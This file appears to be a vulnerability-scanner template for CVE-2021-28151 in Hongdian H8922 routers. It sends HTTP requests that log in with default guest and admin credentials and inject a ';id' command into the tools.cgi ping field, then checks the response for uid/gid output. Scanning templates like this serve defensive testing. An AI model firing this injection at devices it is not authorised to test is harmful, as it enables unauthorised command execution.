66 lines
2.2 KiB
YAML
66 lines
2.2 KiB
YAML
id: CVE-2021-28151
|
|
|
|
info:
|
|
name: Hongdian H8922 3.0.5 - Remote Command Injection
|
|
author: gy741
|
|
severity: high
|
|
description: |
|
|
Hongdian H8922 3.0.5 devices are susceptible to remote command injection via shell metacharacters into the ip-address (a/k/a Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system.
|
|
remediation: |
|
|
Apply the latest security patch or update to a non-vulnerable version of the Hongdian H8922 firmware.
|
|
reference:
|
|
- https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
|
|
- http://en.hongdian.com/Products/Details/H8922
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-28151
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2021-28151
|
|
cwe-id: CWE-78
|
|
epss-score: 0.97051
|
|
epss-percentile: 0.99668
|
|
cpe: cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: hongdian
|
|
product: h8922_firmware
|
|
tags: cve,cve2021,hongdian,rce,injection
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /tools.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
|
|
Origin: {{BaseURL}}
|
|
Referer: {{BaseURL}}/tools.cgi
|
|
|
|
op_type=ping&destination=%3Bid
|
|
- |
|
|
POST /tools.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Authorization: Basic YWRtaW46YWRtaW4=
|
|
Origin: {{BaseURL}}
|
|
Referer: {{BaseURL}}/tools.cgi
|
|
|
|
op_type=ping&destination=%3Bid
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
- "application/x-www-form-urlencoded"
|
|
condition: or
|
|
|
|
- type: regex
|
|
regex:
|
|
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a00483046022100e107ffc3406bb17cda27a65b278b97e9119c0e1b635531d4fca97515151c1331022100dd8c9600104625c271370cc68e68c4896b94694d9ba9c390ff732b47db65cf63:922c64590222798bb761d5b6d8e72950
|